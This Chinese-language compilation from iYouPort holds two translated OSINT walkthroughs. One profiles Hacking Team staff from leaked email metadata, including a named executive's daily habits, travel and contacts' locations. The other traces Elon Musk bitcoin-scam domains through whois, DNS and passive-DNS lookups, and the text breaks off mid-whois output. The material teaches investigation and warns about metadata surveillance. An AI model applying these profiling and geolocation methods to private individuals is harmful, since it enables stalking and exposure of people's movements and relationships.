- 《大保健应该成为习惯：变得难以被追踪的简单方法（6）》
- 《在雷达下低飞：变得难以被追踪的简单方法（7）》
- 《到底也没有无法被监听的电话？：变得难以被追踪的简单方法（8）》

○

原文

深挖 Hacking Team内幕：开源情报演示 - iyouport

你应该了解的现实

【2019年3月27日存档】不需要 hacking 也能做到窥探你的一切

你自己可能都没有注意到的自己的特殊习惯，但数据全知道。本文演示一个开源调查，如何通过简单的元数据构建一个人/一个组织最私密的生活全景图。事实上我们真正希望演示的不仅仅是 OSINT 的真相挖掘思路，更关于，您应该如何避免被这类数据分析所追踪

在沙特记者 Jamal Khashoggi 被残害案中，我们再次提到了臭名昭著的意大利间谍软件公司 Hacking Team，在这里看到《Wikileaks：异议记者遇害案嫌犯之一曾接受 Hacking Team 间谍软件培训; 与沙特王储关系密切》。

2015 年7月5日，世界上最大的网络战武器制造商和经销商之一、意大利公司 Hacking Team，面临内部电子邮件数据库的大规模泄密。泄漏者提供超过 400 千兆字节的数据，内部电子邮件、发票和源代码的链接。

在接下来的几天里，Wikileaks 和 Transparency Toolkit 陆续发布了一个可搜索的 Hacking Team 电子邮件数据库，揭示了他们与全球政府机构、公司和个人的运作、联系和沟通的详细信息，以及他们的网络监视武器的功能。

人们很快就发现了隐藏在其中的另一些宝石。

自己做元数据调查

世界各地的政府机构执行的数据挖掘和分析操作背后的概念是，通过分析元数据以揭示人与人之间的联系，这些相关性可以产生重要的调查线索。

政府机构不是唯一这么做的人，我们的元数据一直在被各方不断收集，并由 Google 和 Facebook 等主要互联网公司进行检查，但目的是对用户进行剖析并将我们的行为转化为他们的利润，每年达到数百亿美元。

感谢 Edward Snowden 在 2013 年6月的揭露，让我们深入了解了 NSA Stellar Wind，Boundless Informant，PRISM 和 XKeyscore 计划。这些老大哥计划的一个目标就是收集和分析大量的电子邮件元数据。分析涉及诸如链接相关性之类的操作，构建网络图，该网络图模拟目标实体（人员，组织等）的通信（电子邮件，电话等）模式以及目标发送或接收的通信。

为了说明元数据分析的侵入性，我们采取了大量的元数据，以 Hacking Team 为例，可以从该组织被泄漏的电子邮件数据库中提取这些元数据，结合公开可用的知识和在线提供的大量免费或试用版工具，演示 OSINT 开源调查。

——调查过程——

「图」

电子邮件元数据：调查的积木

从电子邮件标题的简短解释开始。每封电子邮件都包含三个组件：信封、标题和邮件正文。信封是电子邮件路由的内部工程的一部分，正文是邮件的实际内容，标题是电子邮件的第三个组成部分，也是我们研究的兴趣点。是的，大多数时候你根本没必要读正文。

标题标识消息的特定路由信息包括发送者、接收者、日期和主题、发送和接收时间戳。在某些情况下，电子邮件标题还包含发件人的 IP 地址以及电子邮件从一台计算机传输到另一台计算机时所采用的路由信息。*Tools : Export from MS Outlook Code Two Outlook Export* 」*Data processing MS Excel*

从大约 60 个帐户和数十万封 Hacking Team 员工的电子邮件中提取数据后，可以得到一个可用的数据库。

针可以在大海里捞

探索这大堆数据的第一步是执行社交网络分析，这是一种基于网络和图形理论调查社会结构的策略。它根据节点（个体参与者—人）和连

接它们的中心或边缘（相关或交互）来表征网络结构。在我们的案例中，网络图表示对 2012 年至 2015 年间 Hacking Team 员工与其联系人之间交换的所有电子邮件标题的分析。即使在调查最初，也能够检测到主要的内部和外部参与者和关系，更多正是通过它们之间交换的电子邮件数量得来的。

通过选择单个节点，我们能够探索他们各自的社交关系和联系。

工具：使用 Gephy 进行社交网络分析， 由Sigma.js 导出。

在探索元数据时，我们注意到，对数据的理解和从中得到的线索高度依赖于我们应用于数据集的可视化类型。有时，不同行为者之间的联系更成功，通过使用不同的可视化能够更清晰地揭示出来。就像在这个例子中，我们看到的数据集与上面提到的相同，但这次是以热图的形式出现的。内部沟通的热图

方块颜色的明暗可以揭示组织内不同员工之间的个人关系。D. Vincenzetti 显然是该图中的主要参与者，但我们也可以注意到该热图中的一些其他强关系，这可以帮助我们更好地了解他们的组织结构。

最后，通过使用两种可视化方法，我们能够形成一个可能代表组织结构内部真实关系的通信图表。它可能不会显示与其名片上的内容相符的关系，但另一方面，它可能更好地代表组织内部人员之间真实的关系。基于沟通水平和方向的潜在组织结构

撇开组织结构，如果我们要添加从元数据中检索到的另一个有趣的信息，那就是—时间组件，我们将能够根据每个员工发送的消息数量及时跟踪每个员工的活动。完成此操作后，我们创建了以下活动图表。通过这种分析，您可以，例如，推测或确定一年中哪一部分是组织最繁忙的时段，或者与其他信息输入相结合来分析，可以看到某些员工什么时候去度假或请假。每位*HT*员工及时发送的电子邮件数量

和调查性新闻的做法一样。在我们的数据集中，这意味着大约 4600 个不同的人在2年的时间内与 Hacking Team 员工交换了电子邮件。

如果我们排除所有 @hackingteam.com 地址并按记录数量对结果进行排名，将可以直接指向这一结论。以下是 Hacking Team 联系人列表，交换了50多封电子邮件：

HT 员工与外部联系人之间交换的电子邮件数量（ 」 *30* ）（*2014–2015* ）

此外，如果我们添加时间组件，就可以全面了解谁与谁以及何时进行通信。

按域名分组电子邮件，在对域名背后的公司进行一些研究后，我们根据他们正式提供的服务类型对它们进行了分类。外部联系人根据 *d.vincenzetti* 电子邮件按域名分组

根据这个树形图，与 HT 合作的最大组织来自“数字安全”部门，其次是个人联系人，即“顾问”和风险投资公司。

我们可以及时探索选定公司与 HT 团队之间的关系。

不同的颜色代表组织内的不同人。我们可以注意到，例如，根据检查的元数据可见，Hacking Team 的最大合作伙伴 Nice Solutions，Hacking Team 和 Nice 之间的联系非常紧密，两家公司之间的沟通很多，包括很多不同级别的不同员工（图表上不同颜色的数量）。我们还可以跟踪不同行为者在不同时间进行交流的方式。

生活模式

人类是惊人的模式识别机器。我们不断分析复杂的输入集，并根据我们之前遇到或学到的事实做出决策[即 经验]。但是近年来，我们并不是唯一分析周围模式的人了，我们自己正在越来越成为被分析的对象，主要通过机器和算法来完成。

我们与我们使用的技术进行交互的独特方式、拥有的独特联系方式、或我们独特的行为模式，定义了我们的元数据签名，我们的指纹。在算法分析的眼中，每个人都是独一无二的。

生活模式分析是一种专门用于记录或理解受试者日常习惯的监视方法。

它是一种计算机化的数据收集和分析方法，用于确定受试者的过去行为、确定其当前行为、并预测其未来行为。也就是《少数派报告》。美国已经在使用这种方法监视社交媒体并预测社会抗议活动，而中国也开始钟情于这一技术。

这种形式的分析通常在未经您同意的情况下完成，并且不仅适用于政府维稳，而且它还是许多大型互联网公司的核心活动和商业模式。更常见的是，生活模式分析被称为剖析。在大多数情况下，我们使用电子邮件、IP 流量或手机数据以及我们使用的其他技术，就是我们最致命的弱点。

尽管本文的研究仅限于电子邮件元数据，但我们将尝试对 Hacking Team 的一个关键人物进行了生活模式分析，并尝试了解我们可以获得的内容。⚠请记住，政府当局和数字极权能做到的程度是本文 **×10、×100.**

根据我们的元数据调查的前几个阶段，显然具有最大内部和外部联系和通信的节点（人）是 d.vincenzetti@hackingteam.com。我们称他为 Mr.D.

我们试图在这里理解3个主要内容：

- D 先生的行为模式是什么？
- 这种模式有什么异常？
- 与他的社交/专业圈其他人相比，Mr.D 的行为模式有何不同？

模式识别：当天发送和接收的电子邮件总数（*2014* 年）

发送的电子邮件代表我们正在检查的人的行为，并且收到的电子邮件代表了他的社交或专业环境的整体行为模式。

Mr.D 与其他人不一样。

他每天很早就开始活动。几乎每天凌晨4点左右是他专注的时间，也就是他白天发送最多电子邮件的那一刻。如果我们比较发送和接收的电子邮件的数量，我们可以看到 Mr.D 与他的大多数联系人有不同的习惯。他的社交和专业圈在上午10点左右最富有成效，大多数人在下午1点左右休息，他们的生产力从下午4点开始迅速下降。

另一方面，D 先生在白天没有太大的生产力。 他在工作时间的高峰期是中午。看起来他没有定时的午休时间，当他的同事和外部联系人在下午开始失去注意力时，他在下午5点左右又有一次活动高峰。此外，D 先生很少在晚上8点之后发送任何电子邮件。模式识别：每周和每月（*2014*年）*MR.D* 发送和收到的电子邮件的总和

如果我们在一周的时间内分析 Mr.D 的行为模式，我们可以发现，他在周末期间甚至比他的职业圈其他人工作得更多。他的电子邮件在每个星期六中午午餐时间出现。

这是 Mr.D 的平均行为，但对我们的分析更重要的是他的行为异常。异常可以指向很多事。当人们在沮丧、生病、在压力下工作、有一些截止日期或重要事件、旅行或恋爱时，人们就会改变自己的行为。*ANOMALY* 检测：每小时发送的电子邮件数量（*2014*年）

在这张图上，我们可以看到代表 Mr.D 生产力异常的一些峰值。

例如，在12月11日晚上7点，他在一小时内发送了 19 封电子邮件，而他通常发送的邮件平均为 2.7 封。

以下热图可能对发现异常最有效：模式识别和异常检测：*mr.d* 每小时发送电子邮件的热图（*2014*）

查看热图，您可以在9月发现一个有趣的异常现象。在20号的下午，我们看到一个非常低的活动水平，这对于 Mr.D 是不寻常的，因为我们已经知道这是他的每日生产高峰时段。

此外，9月21日凌晨4点，当他一般情况下醒来并开始工作时，那天没有活动，直到第二天早上7点才开始活动。

在接下来的几天里，我们看到这种模式并不常见。看起来D先生在下午睡觉，并在夜间集中工作。9月27日，我们再次看到缺乏沟通，然后在接下来的日子里，D 先生的模式恢复正常。

根据我们稍后将在研究中解释的其他元数据输入，我们发现 Mr.D 在9月21日至27日期间前往新加坡。有了这个线索，我们可以很容易地得出结论，时区的变化会影响 Mr.D 的电子邮件（作息）模式。

从10月5日到10月12日，我们可以在模式中找到另一个异常，但这种模式看起来与上一次有点不同，它朝着另一个方向摆动。在这期间，Mr.D 去了美国。这些数据向我们展示了不同的时区如何在他的生活模式中留下了不同的足迹。

6月24日和次日还有一个非常有趣的模式异常（你可以看到更暗的方块和更高的沟通水平）。当天，公民实验室的研究人员发布了“警察故事：Hacking Team 的政府监视恶意软件”分析，揭露了 **Hacking Team** 远程控制系统（**RCS**）的功能和架构，其前所未有的细节。该报道有很多媒体转载，包括经济学人， 美联社，有线，VICE，国际商业时报，福布斯等。

我们可以看到 **Hacking Team** 的这一压力事件时段中如何反映在 **Mr.D** 的电子邮件模式上。

主题的奥秘

除了定义的活动模式和发现的异常之外，电子邮件主题还揭示了 Mr.D 与 Hacking Team 其他员工沟通的非常详细的概述。

电子邮件主题有时可以给我们一些非常有趣的信息。例如，亚马逊等许多公司在您处理完付款后收到的确认电子邮件主题中会列出订购商品。

通过提取亚马逊发送给 Hacking Team 员工的电子邮件，我们能够深入了解他们的购买情况。（大图）

但是，还有一些更极端的例子。

如果我们查看 Hacking Team 合作伙伴的树形图，就会发现一家名为 Carlson Wagonit Travel 的公司。根据该公司的网站介绍，他们为商务旅行、会议和活动管理提供解决方案。

对于 HT，他们帮助安排和购买机票、预订酒店并提供旅行协助。但是他们有一个坏习惯（这对许多预订机构来说都很常见），每次预订机票时，机构都会向潜在乘客发送主题行中包含姓名和机场代码的电子邮件。从主题中提取该信息并与发送电子邮件的日期交叉引用，我们能够获得有关 HT 员工旅程的大致信息。

HT 员工频繁的旅行和他们访问的地理位置的列表看起来像这样：

这些数据提供了一些有趣的信息，这些信息完全可以构建 Hacking Team 的组织结构。如果我们回到基于社交网络分析的组织结构图并与此常见的列表进行比较的话，我们可以看到根据我们的网络图，最常见的旅行在层次结构中不是很高。

但是，如果按乘客的名义对航班进行分组，我们会发现每个最常见的旅行都位于某个地方，并且覆盖某个地区/市场，例如东南亚，中东，南美等。可以从中得到的结论是：这些员工负责全球某些市场或区域的 **Hacking Team** 办公室。基于*CWT EMAILS SUBJECT LINES* 的 *HT* 员工航班地图

如果我们按位置重新组合同一组数据，我们可以看到两个或更多 Hacking Team 员工在哪个地点遇到或一起旅行的时间点。这意味着潜在的商务会议、监视工具的销售，如何与全球客户和政府机构建立新的关系。*HT* 员工飞往不同国家的时间表：*TABLEAU*

回家

电子邮件标题隐藏了一个更精确的位置信息。在某些情况下，电子邮件标题会显示发件人的 IP 地址。然后，可以使用一些公开可用的工具将 **IP** 地址地理定位到城市或单个路由器的级别。

这使我们能够追踪 Mr.D 的每一个联系人。每当有人向 Mr.D 发送电子邮件时，这些人基本上都会向我们透露他们的位置。只需分析 Mr.D 收到的电子邮件的元数据，我们就可以获得发件人所在地的信息，当他们改变城市或国家时能及时发现。

这使我们能够更准确地找到 Hacking Team 的所有员工。

例如，我们可以看到，大多数员工都位于意大利，但其中一些员工位于世界各地。

- D.Maglietta 是新加坡办事处的负责人，但他在西班牙度过了圣诞节。
- E.Pardo 大多数时间都在哥伦比亚的波哥大，并于1月14日访问了另一位 HT 员工 A.Scarafile。
- 我们可以看到 E.Shehata 如何穿越中东地区前往卡塔尔，黎巴嫩，阿联酋，埃及和约旦。
- E. Rabe 位于美国宾夕法尼亚州阿德莫尔，但于2月14日搬到另一个地方在费城郊区。

最后，尽管 HT 声称在华盛顿特区设有办事处，但是，基于元数据，我们没有找到任何支持这一点的证据。

在世界地图上，其位置的分布如下所示：

Mr.D 的外部联系人的位置使我们真正了解他们的全球运营。

见下图，注意中国！⚠颜色对比上图中最下面列表。

这一小部分信息就使我们能够探索每个国家/地区的个人联系人，找到他们的主要合作伙伴，甚至能够及时跟踪他们联系人的位置。

是的，它只是元数据

通常情况下，元数据的力量被认为是天真的，或者与我们的沟通内容相比，它的潜在用途过于简单。但我们发现即使是本文这样不那么复杂的 DIY 方法，也可以使用从“唯一”电子邮件元数据中提取的信息，创建一个深刻而清晰的个人习惯和活动全景图。

虽然我们的调查主要是发现某人工作生活的关系，模式和异常现象，但它仍然让我们深入了解这个人与私人生活相关的习惯—— 这些数据不仅能构成最深入的政治审查，并且能揭穿你希望要隐瞒的一切。因为，元数据完全能够比内容相关的传统监控实践在更深层次上扫描

某人的行为。

我们正在偷看某人生命中最深处的角落。更令人不安的是，我们的分析主体可能并不了解自己的行为模式。它只是元数据，并且在我们的例子中，只是它的一小部分。

NSA 监测计划的支持者多次声称收集和分析元数据“不是监视”。根据我们的数据探索，我们可以明确告诉他们：这比常规内容监控更具侵入性。

⚠谁有权访问元数据？—— 换句话说就是，谁有能力如此深入地侵犯你

了解谁可以访问元数据以及分析元数据的可能性，将使我们能够解答信息社会中新的权力结构和财富分配问题。

公司—— 第一个也是最显而易见的就是提供 Google 或 Facebook 等服务的公司。他们不仅可以访问元数据，还可以在服务器上拥有实际数据和内容。谷歌拥有的关于其服务的每个用户的元数据的质量、种类和数量，存储在巨大的数据中心，都是史无前例的威胁。

政府—— 在大多数情况下，国家法律赋予政府或其中一些机构合法访问用户数据的权利，包括电子邮件和其他元数据。互联网基础设施所有者或提供服务的公司有义务与其所在地的政府合作。他们经常遵守政府的要求，并有不同形式的技术合作。并且，在许多国家，政府机构已经投资制定了基于元数据的收集方案。这些程序通常依赖于创建和利用后门程序的软件（就像Hacking Team 的情况一样）或使用其他一些创造性的方式来访问元数据。

基础设施—— 这些是互联网服务提供商，移动服务提供商、互联网交换点和海底光缆，都可以访问数据。它们可以收集的元数据质量取决于附加到基础结构的端点，但无论如何，它们都可以访问 Internet 数据包的基本元数据。即使电子邮件的内容被认为是加密的（至少在使用这些主流服务时），元数据可没加密！因为电子邮件架构需要依赖可读的元数据，如前所述。

我们不打算总结有关 Hacking Team 的活动，这不是本文主题，我们希望通过研究和实践来理解如何执行元数据分析，以及我们可以从中学到什么。我们希望研究人员和调查记者可以将这些数据探索方法运用于他们自己的研究，挖掘真相。而不是希望引起人们的隐私恐慌。○

原文

演示：对 Elon Musk Bitcoin 诈骗的开源调查 #OSINT - iYouPort

你应该了解的现实

Elon Musk 免费发比特币啦！带蓝V的账户啊！……哦不，等会，这是个在推特上很老套的骗局。本文尝试使用开源调查 #OSINT 找到所有和诈骗有关的东西 (主机名称、IP 地址、邮箱地址、名字、域名等等)，揭示诈骗者的真实身份；或者至少是可揭示身份的线索。感谢 Steve Micallef 的优秀演示！非常精彩

「图」

您也许听说了过去几周在 twitter 上有人以 Elon Musk 的名义进行比特币诈骗的事。在这篇文章中我会解说一下这个诈骗是怎么实现的，然后给您展示一个用简单和有效的方法对该诈骗进行开源调查 (OSINT) 的过程。

Elon Musk Bitcoin 诈骗事件

我们先看一下这个诈骗是什么样的。下面的截图是其中一个骗子用的 twitter 推送号：

「图」

这个 tweet 本身十分荒诞 (Musk 发派免费比特币!? 骗谁…),而且推文充满语法错误,明显的假 Tesla 网站域名,昵称与账号名称也不符,可还是有很多人上当了.

简单来讲，骗子先黑掉了一些通过了认证的、小有名气的 twitter 账户，比如 Capgemini, Target and Google’s G Suite，再把昵称和头像换成 Musk，然后用推送 (promoted tweet) 的方式把含有诈骗链接的 tweet 发给潜在受害者。虽然这些 tweet 本身十分荒诞，而且充满语法错误和明显的假 Tesla 网站域名，昵称与账号名称也不符，可还是有很多人上了当。

骗子大致骗走了价值**18**万美元的比特币，简直难以置信！！

当然 Twitter 上的比特币诈骗其实也不是什么新鲜事。可当我从 twitter 看到这次事件后，我忍不住想对涉及诈骗的域名做个开源调查 (OSINT)，就是出于好奇会发现什么。

作为 SpiderFoot 的开发者，我也总是想有机会测试和完善 Spiderfoot，这次倒是个不错的机会。我把那些域名输入到了 spiderfoot，然后开启了150 个模块来收集尽可能多的数据。

除了用 spiderfoot 自动收集的数据，我还人工收集了一些作为补充，在这里就会讲到。

分析的目的

说实话，一开始除了为完善 Spiderfoot 以外我没有什么其他目的。不过我灵光一现，觉得既然要写一个文章，我不如组织一下然后把处理的过程给写出来，长话短说，目的是：

> 找到所有和诈骗有关的东西 *(*主机名称、*IP* 地址、邮箱地址、名字、域名等等*)*，用来揭示诈骗者的真实身份；或者至少是可以找到用来揭示诈骗者的真实身份的线索。

了解诈骗的特征，希望可以对诈骗调查、和以后预防类似诈骗，都有用

给调查的进一步深入提供可能的实行方案的建议，希望可以帮助对本案和以后类似案件的调查。开始之前，我要声明一下，我不是说这里调查出来的一定是诈骗者的真实身份，也不是说我的调查本身是全面的。这篇文章只是为了让大家对这次诈骗事件有更深入的了解，以及对进行类似调查的人提供一点指导。

那我们开始吧!

分析

分析开始，我们要找一个可以进行自动化 OSINT 调查的起点。

诈骗者使用的 twitter 是被黑掉的合法账号，那么从这些 twitter 账号入手的话大概得不到什么有用的信息；另外，诈骗者用的名字 (Elon Musk) 明显不是本人 (不过，客观来说也不能排除是本人哦！)。所以

我们只好从诈骗者用的假域名入手调查。

诈骗 tweets 已经给出了一些域名，但是肯定不止就这些：

- m-tesla[.]me
- elonmusk[.]id
- m-tesla[.]pw

开始调查域名

我们要调查域名可以用哪些技巧呢？域名都会指向 IP 地址，有一个 Whois 的注册记录之类的。我们可以把这些叫做 ‘信息链’。看起来就像这样：

- 域名 -」 IP 地址 -」 查询被动 DNS -」 同一主机下的其他站点 (Co-hosted sites)
- 域名 -」 Whois 查找 -」 电子邮箱
- 域名 -」 抓区网页内容 -」 名字, 其他
- And so on…

当然上面的信息链是非常简单化的，表达的意思就是：一个信息线索可以追踪到另一个、再追踪到下一个，以此类推。很多调查中您可能要进行十多层的信息追踪，这就要看您有多少数据来源和信息链中每一环的质量了。

在域名被下架的情况下查找 **IP** 地址

现在去查找诈骗者的域名只会返还 127.0.0.1 (本机地址)。因为域名被下架了。

要是有 IP 地址是会很方便的，因为用它可以查到相关的威胁情报消息，网路拓扑/路由数据，甚至更多。从这些数据我们可以找到其他指向这些 IP 地址的更多域名，而且还可以查看有没有在同一个 IP 地址下的子网，这可能用来发现一个更大的诈骗网络。

那我们看看能不能查到诈骗域名曾经用过的 IP 地址。幸好被动 DNS 是一个不错的信息来源，而且网上有很多免费的查找被动 DNS 的服务，这个案例中，我用 Mnemonic Passive DNS search engine 找到了 3 个域名中的 2 个 IP 地址。在这里 m-tesla[.]me (193.233.15.187) 和 elonmusk[.]id(193.233.15.163)。

「图」

多亏了被动 DNS，我们可以查到域名曾经指向的 IP 地址

其他类似的工具还有 Robtex.com, SecurityTrails.com, HackerTarget.com, Cymon.io 和 VirusTotal。由于被动 DNS 的特性，很可能单一的工具查不到完整的线索。所以别只依赖一个工具。结合多个工具查到的信息在去整合出一个更完整的轮廓……现在我们有了 IP 地址，可以进一步分析了。

谁是 **IP** 地址的所有者？

有趣的是，这三个诈骗域名用的是同一个服务供应商“storm-pro.net”。从 Whois 数据可以看到：

steve@dev:~$ whois m-tesla.me

Domain Name: M-TESLA.ME

...

Name Server: DNS2.STORM-PRO.NET

Name Server: DNS1.STORM-PRO.NET

...

但是域名好像没有网站，而且所有有用的 Whois 信息都被打码处理了，输入 host -t a storm-pro. net 看到：

steve@dev:~$ host -t a storm-pro.net

storm-pro.net has no A record

steve@dev:~$ host -t a www.storm-pro.net

Host www.storm-pro.net not found: 3(NXDOMAIN)

steve@dev:~$ whois storm-pro.net

...

Registrant Name: GDPR Masked

Registrant Organization: GDPR Masked

Registrant Street: GDPR Masked GDPR Masked GDPR Masked

Registrant City: GDPR Masked

Registrant State/Province: GDPR Masked

Registrant Postal Code: 00000

Registrant Country: GDPR Masked

Registrant Phone: +0.00000000

Registrant Phone Ext:

Registrant Fax:

Registrant Fax Ext:

Registrant Email: gdpr-masking@gdpr-masked.com

Admin Email: gdpr-masking@gdpr-masked.com

Registry Tech ID: Not Available From Registry

Tech Name: GDPR Masked

Tech Organization: GDPR Masked

Tech Street: GDPR Masked GDPR Masked GDPR Masked

Tech City: GDPR Masked

Tech State/Province: GDPR Masked

Tech Postal Code: 00000

Tech Country: GDPR Masked

Tech Phone: +0.00000000

Tech Phone Ext:

Tech Fax:

Tech Fax Ext:

Tech Email: gdpr-masking@gdpr-masked.com

...

那我们试试直接从 IP 地址抓取内容，看看背后可能有什么。当我们试图访问https://193[.]233[.]15[.]163 时，显示的是这个：

「图」

看起来诈骗者用这个服务商运行他们的网站。看起来这个是面向俄语市场的提供 DDOS 攻击防御和网站服务的公司。

「图」

这个公司的网站上提供的信息很少，但是他们的 LinkedIn 页面显示他们是一家在斯洛伐克注册的公司，员工有4人，其中3个在俄罗斯，1个在捷克。到目前为止我们知道，诈骗网站不是被这家公司就是被诈骗者自己关闭了。

在同一个服务器和网站上还有别的线索吗？

因为这个诈骗在统一子网上有很多 IP，查找一下子网的所有者就有价值了，这里可以用到 BGPView.io。

「图」

从193.233.15.0/24 子网的搜索结果看，一部分自动化系统是由一个叫 Smart Telecom SARL 的黎巴嫩注册的公司所有，而公司地点可能是在塞舌尔

深入调查我们可以发现上游提供商(提供网路服务的公司)。我们又看到了 StormWall，那就是说他们在为那个 IP 提供 HTTP 代理：

「图」

STORMSYSTEMS-AG ＝ StormWall

对 193.233.15.0/24 子网进行 Whois，可以看到一家叫 Safe Value Management 的公司：

steve@dev:~$ whois 193.233.15.0/24

% This is the RIPE Database query service.

% The objects are in RPSL format.

%

...organisation: ORG-SVL6-RIPE

org-name: Safe Value Limited

org-type: OTHER

address: Global Gateway 8, Rue de la Perle, Providence, Mahe, Seychelles

geoloc: -4.678633 55.467250

abuse-c: SVM142-RIPE

mnt-ref: safevalue-mnt

mnt-ref: FREENET-MNT

mnt-by: safevalue-mnt

mnt-by: FREENET-MNT

created: 2017-03-13T16:19:46Z

last-modified: 2017-04-30T08:54:48Z

source: RIPE # Filteredrole: Safe Value Management

address: Global Gateway 8, Rue de la Perle, Providence, Mahe, Seychelles

abuse-mailbox: abuses@safevalue.pro

nic-hdl: SVM142-RIPE

...

从被打码的邮箱 abuses@safevalue. pro，我们可以猜测到公司的主

页。我们来看看：

「图」

主页上找不到关于公司的具体信息。虽然从 Whois 的记录来看公司的位置是在塞舌尔，可主页上也没有找到明显的关于公司位置的情报。

虽然主页上没有明显的选择其他语言的功能，其实您可以手动进入一个可以显示俄语鼠标弹窗 (mouseover) 的网页，虽然网页内容还是英语。就是在 https://safevalue.pro 后面加上 /ru 来实现。尝试其他语言会显示 404 (就是说只有俄语选项)。

「图」

在 safevalue.pro/ru 里, 虽然网页还是英语，但您可以看到俄语的 mouseover.。尝试其他语言会显示 404

那其他相邻子网的情况呢？他们在什么地点、由谁控制？下边的 whois 脚本(粗体)就是用来查找这些 193.233.15.0/24 的相邻子网的所在国家和注册组织的：

steve@dev:~$ for i in `seq 5 25`; do whois 193.233.$i.0/24 | egrep -i country\|org-name | sort -u; done

country: RU

org-name: OOO Avantelecom

country: RU

org-name: Vostok Telecom LLC

country: RU

org-name: OOO Avantelecom

country: RU

org-name: L.Ya.Karpov Institute of Physical Chemistry

country: RU

org-name: Vostok Telecom LLC

country: RU

org-name: State Federal Budgetary Scientific Establishment Baikov Institute of Metallurgy and Materials Science of Russian Academy of Sciences

country: RU

org-name: State Federal Budgetary Scientific Establishment Baikov Institute of Metallurgy and Materials Science of Russian Academy of Sciences

country: RU

org-name: OOO Telecom-V

country: RU

org-name: OOO Telecom-V

country: RU

org-name: Russian National Public Library for Science and Technology

country: SC

org-name: Safe Value Limited

country: RU

org-name: ZAO Redcom-Internet

country: RU

org-name: ZAO Redcom-Internet

country: RU

org-name: ZAO Redcom-Internet

country: RU

org-name: ZAO Redcom-Internet

country: RU

org-name: ZAO Redcom-Internet

country: RU

org-name: ZAO Redcom-Internet

country: RU

org-name: ZAO Redcom-Internet

country: RU

org-name: ZAO Redcom-Internet

country: RU

org-name: Federal Budgetary Educational Enterprise of Higher Professional Education Moscow State Forest University

country: RU

org-name: Federal Budgetary Educational Enterprise of Higher Professional Education Moscow State Forest University

可以发现 193.233.15.0/24 的相邻子网都在俄国，除了那个涉及诈骗的以外 (country:SC | org-name: Safe Value Limited)。此外除了这一个，其他的子网也和 Safe Value Limited 没有关联。

那我们总结一下，我们用被动 DNS 查到诈骗网页曾经的 IP 地址，他们都属于一个由 StormWall 和 Safe Value Management 提供的子网。两个公司都显示是俄国公司。而且后者 Safe Value 明显尝试隐藏这一事实。诈骗网站所在的子网显示的注册地址和注册组织和相邻子网里的其他网站也有很明显的不同。我们来扩大调查，看看还有没有其他网站涉及这次诈骗。

扩大调查

在 spiderfoot 中我们可以用查询多个被动 DNS 的方式来查找指向同一 IP 地址的其他诈骗网站。 这里，Robtex, Cymon and Mnemonic

现实了一些和 m-tesla[.]me 用相同 IP 的网站，他们曾经都用过 193.233.15.187 这个 IP：

「图」

SpiderFoot 用多个数据来源查询曾和 m-tesla[.]me 用过同样 IP 的网页.

我们看到，利用同一基础设施，诈骗涉及了不少网站。我们在来查询 193.233.15.0/24 整个子网，看看都有那些网站：

「图」

结合 Robtex 和其他工具, SpiderFoot 发现 186 个网站和诈骗网站在同一子网下

186 有点多，为了找到最可能的目标，下一步我们查一下网站的声望。

恶意和 **Spam IP**

一些提供威胁情报服务和提供 Spam 发现和 IP 声望的服务，把下面的网址曾经列为有风险。比如 virus total 就在 2018 年8月把以下网址定义为危险：

「图」

SpiderFoot 也可以自动查询到在同一服务和同一子网下的不同网站，我们立刻就发现了几个和之前找到的两个 IP 在同一子网下的有风险 IP。

「图」

从 Virus Total 发现这个子网下有 117 个恶意网址。从结果上看，甚至有一个网站上挂了恶意软件：

「图」

查询 193.233.15.0/24 下的网址都会显示类似的结果。实际上，在这篇文章写作的时间里，Spamhaus 把这整个子网都视为危险。

那到底是谁在背后？

意料之中的是，我们找到的关联诈骗网站的邮箱都是 privacy/abuse 邮箱。就是打了码，所以没法确定拥有者：

- 19dd5ea57f2b4f5388f5f506cb5a9099.protect@whoisguard.com
- 3471443@PRIVACY-LINK.COM
- abuse@101domain.com
- And so on…

换句话说，全都没用。有一些明文邮箱倒是可以找到，可在这片文章里不做深入调查，而且那些明文邮箱也好像和诈骗关系不大 (比如, elonmusk[.]ooo)。

利用环境内容深入调查

我们了解到有关诈骗的多个域名都用的是同一个基础设施，我们可以用其中一个域名的信息来帮助查找其他的。我们在回到 Whois 去查寻，3个诈骗域名有2个是用 NameCheap 注册的，只有1个不是：

「图」

Spiderfoot 发现3个诈骗域名有2个是用 NameCheap 注册的, 只有1个不是

当使用 Whois 时，您把查询指向特定的服务器，很多时候人们只关心他们首先看到的 Whois 信息。但是，有时候 Whois 里一些周边信息更可能关系到调查能否有突破还是进入死胡同。

steve@dev:~$ whois m-tesla.me

Domain Name: M-TESLA.ME

Registry Domain ID: D425500000070248173-AGRS

Registrar WHOIS Server: "whois.namecheap.com"

...

当进行 Whois 查询时，您所用的 Whois 客户端软件会向内置的一些默认 Whois 服务端自动查询。 Whois 的结果经常会来自一些权威的 whois 服务器，因为可能会有更多信息。就像黑体字显示的，那我们在 Linux 的 Whois 中加入 -h 来看看：

steve@dev:~$ whois m-tesla.me -h whois.namecheap.com

Domain name: m-tesla.me

Registry Domain ID: D425500000070248173-AGRS

Registrar WHOIS Server: whois.namecheap.com

Registrar URL: http://www.namecheap.com

Updated Date: 2018-11-07T11:29:42.00Z

Creation Date: 2018-11-07T11:29:42.00Z

Registrar Registration Expiration Date: 2019-11-07T11:29:42.00Z

Registrar: NAMECHEAP INC

Registrar IANA ID: 1068

Registrar Abuse Contact Email: abuse@namecheap.com

Registrar Abuse Contact Phone: +1.6613102107

Reseller: NAMECHEAP INC

Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited

Domain Status: serverTransferProhibited https://icann.org/epp#serverTransferProhibited

Registry Registrant ID: ti1srjorhfz8q94w

Registrant Name: WhoisGuard Protected

Registrant Organization: WhoisGuard, Inc.

Registrant Street: P.O. Box 0823-03411

Registrant City: Panama

Registrant State/Province: Panama

Registrant Postal Code:

Registrant Country: PA

Registrant Phone: +507.8365503

Registrant Phone Ext:

Registrant Fax: +51.17057182

Registrant Fax Ext:

Registrant Email: 81c4aa68df5640a3afd986ce438afa26.protect@whoisguard.com

Registry Admin ID: y8otwk46zno0fdku

Admin Name: WhoisGuard Protected

Admin Organization: WhoisGuard, Inc.

Admin Street: P.O. Box 0823-03411

Admin City: Panama

Admin State/Province: Panama

Admin Postal Code:

Admin Country: PA

Admin Phone: +507.8365503

Admin Phone Ext:

Admin Fax: +51.17057182

Admin Fax Ext:

Admin Email: 81c4aa68df5640a3afd986ce438afa26.protect@whoisguard.com

Registry Tech ID: q5fk9pxjotdst0s1

Tech Name: WhoisGuard Protected

